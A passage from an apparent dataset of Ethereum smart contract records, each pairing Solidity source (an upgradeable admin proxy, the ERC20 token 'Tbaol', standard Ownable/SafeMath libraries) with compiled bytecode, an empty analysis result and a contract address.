function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/proxy/UpgradeabilityProxy.sol
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
// File: contracts/proxy/AdminUpgradeabilityProxy.sol
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220343b7e64448683d7c333052d5f73d4f056f76d8ef69e06c5942dcf3058100d3764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,996 |
0x829b7fa656d18fd541b7e87291227dc03827646d
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Tbaol is StandardToken, Ownable {
// Constants
string public constant name = "Tbaol";
string public constant symbol = "TBAOL";
uint8 public constant decimals = 5;
uint256 public constant INITIAL_SUPPLY = 21000000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function Tbaol() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae9565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aee565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c37565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec8565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f10565b005b34156103b757600080fd5b6103bf611015565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611074565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611293565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148f565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611516565b005b6040805190810160405280600581526020017f5462616f6c00000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166e90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166e90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560ff16600a0a6404e3b292000281565b600581565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4a57600080fd5b6000811415610bd157600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcc57600080fd5b610c34565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3357600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d48576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddc565b610d5b838261166e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6c57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f5442414f4c00000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fe57600080fd5b61114f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166e90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ae57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167c57fe5b818303905092915050565b6000818301905082811015151561169a57fe5b809050929150505600a165627a7a72305820b545808892fd473b4bd6f586b7be153a9421aa93f48fbf7ef43100b522ddc0570029
|
{"success": true, "error": null, "results": {}}
| 7,997 |
0xd435b4c8d94bae67297e413ae8c6f3a25afc6527
|
pragma solidity ^0.6.12;
// SPDX-License-Identifier: GPL-3.0
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Not authorized operation");
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Address shouldn't be zero");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
